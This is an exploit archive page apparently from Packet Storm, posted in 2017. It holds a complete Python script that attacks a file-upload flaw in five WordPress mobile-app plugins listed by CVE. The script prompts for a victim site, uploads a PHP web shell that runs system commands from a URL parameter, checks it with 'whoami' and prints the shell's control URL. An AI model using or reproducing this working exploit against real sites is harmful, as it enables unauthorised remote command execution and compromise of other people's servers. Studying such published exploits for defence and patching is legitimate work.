what you don't know can hurt you

WordPress Multiple Plugin File Upload

WordPress Multiple Plugin File Upload
Posted Mar 17, 2017
Authored by The Martian

WordPress plugins Zen App Mobile Native versions 3.0 and below, webapp-builder version 2.0, wp2android-turn-wp-site-into-android-app version 1.1.4, mobile-app-builder-by-wappress version 1.05, and mobile-friendly-app-builder-by-easytouch version 3.0 suffer from a remote shell upload vulnerability.

tags | exploit, remote, shell
advisories | CVE-2017-1002000, CVE-2017-1002001, CVE-2017-1002002, CVE-2017-1002003, CVE-2017-6104
MD5 | 88bbba2ab602c5fa130ef461e7157609

WordPress Multiple Plugin File Upload

Change Mirror Download
import requests
import random
import string
print "---------------------------------------------------------------------"
print "Multiple Wordpress Plugin - Remote File Upload Exploit\nDiscovery: Larry W. Cashdollar\nExploit Author: Munir Njiru\nCWE: 434\n\n1. Zen App Mobile Native <=3.0 (CVE-2017-6104)\n2. Wordpress Plugin webapp-builder v2.0 (CVE-2017-1002002)\n3. Wordpress Plugin wp2android-turn-wp-site-into-android-app v1.1.4 CVE-2017-1002003)\n4.Wordpress Plugin mobile-app-builder-by-wappress v1.05 CVE-2017-1002001)\n5. Wordpress Plugin mobile-friendly-app-builder-by-easytouch v3.0 (CVE-2017-1002000)\n\nReference URLs:\nhttp://www.vapidlabs.com/advisory.php?v=178\nhttp://www.vapidlabs.com/advisory.php?v=179\nhttp://www.vapidlabs.com/advisory.php?v=180\nhttp://www.vapidlabs.com/advisory.php?v=181\nhttp://www.vapidlabs.com/advisory.php?v=182"
print "---------------------------------------------------------------------"
victim = raw_input("Please Enter victim host e.g. http://example.com: ")
plug_choice=raw_input ("\n Please choose a number representing the plugin to attack: \n1. Zen App Mobile Native <=3.0\n2. Wordpress Plugin webapp-builder v2.0\n3. Wordpress Plugin wp2android-turn-wp-site-into-android-app v1.1.4\n4.Wordpress Plugin mobile-app-builder-by-wappress v1.05\n5. Wordpress Plugin mobile-friendly-app-builder-by-easytouch v3.0\n")
if plug_choice=="1":
plugin="zen-mobile-app-native"
elif plug_choice=="2":
plugin="webapp-builder"
elif plug_choice=="3":
plugin="wp2android-turn-wp-site-into-android-app"
elif plug_choice=="4":
plugin="mobile-app-builder-by-wappress"
elif plug_choice=="5":
plugin="mobile-friendly-app-builder-by-easytouch"
else:
print "Invalid Plugin choice, I will now exit"
quit()
slug = "/wp-content/plugins/"+plugin+"/server/images.php"
target=victim+slug
def definShell(size=6, chars=string.ascii_uppercase + string.digits):
return ''.join(random.choice(chars) for _ in range(size))

shellName= definShell()+".php"

def checkExistence():
litmusTest = requests.get(target)
litmusState = litmusTest.status_code
if litmusState == 200:
print "\nTesting if vulnerable script is available\nI can reach the target & it seems vulnerable, I will attempt the exploit\nRunning exploit..."
exploit()
else:
print "Target has a funny code & might not be vulnerable, I will now exit\n"
quit()

def exploit():
print "\nGenerating Payload: "+shellName+"\n"
myShell = {'file': (shellName, '<?php echo system($_GET[\'alien\']); ?>')}
shellEmUp = requests.post(target, files=myShell)
respShell = shellEmUp.text
cleanURL = respShell.replace("http://example.com/",victim+"/wp-content/plugins/"+plugin+"/")
shellLoc = cleanURL.replace(" ", "")
print "Confirming shell upload by printing current user\n"
shellTest=requests.get(shellLoc+"?alien=whoami")
webserverUser=shellTest.text
if webserverUser == "":
print "I can't run the command can you try manually on the browser: \n"+shellLoc+"?alien=whoami"
quit()
else:
print "The current webserver user is: "+webserverUser+"\n"
print "Shell Can be controlled from the browser by running :\n"+shellLoc+"?alien=command"
quit()

if __name__ == "__main__":
checkExistence()
Login or Register to add favorites

File Archive:

August 2020

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Aug 1st
    3 Files
  • 2
    Aug 2nd
    2 Files
  • 3
    Aug 3rd
    32 Files
  • 4
    Aug 4th
    22 Files
  • 5
    Aug 5th
    15 Files
  • 6
    Aug 6th
    19 Files
  • 7
    Aug 7th
    6 Files
  • 8
    Aug 8th
    1 Files
  • 9
    Aug 9th
    2 Files
  • 10
    Aug 10th
    27 Files
  • 11
    Aug 11th
    11 Files
  • 12
    Aug 12th
    11 Files
  • 13
    Aug 13th
    17 Files
  • 14
    Aug 14th
    7 Files
  • 15
    Aug 15th
    0 Files
  • 16
    Aug 16th
    0 Files
  • 17
    Aug 17th
    0 Files
  • 18
    Aug 18th
    0 Files
  • 19
    Aug 19th
    0 Files
  • 20
    Aug 20th
    0 Files
  • 21
    Aug 21st
    0 Files
  • 22
    Aug 22nd
    0 Files
  • 23
    Aug 23rd
    0 Files
  • 24
    Aug 24th
    0 Files
  • 25
    Aug 25th
    0 Files
  • 26
    Aug 26th
    0 Files
  • 27
    Aug 27th
    0 Files
  • 28
    Aug 28th
    0 Files
  • 29
    Aug 29th
    0 Files
  • 30
    Aug 30th
    0 Files
  • 31
    Aug 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2020 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close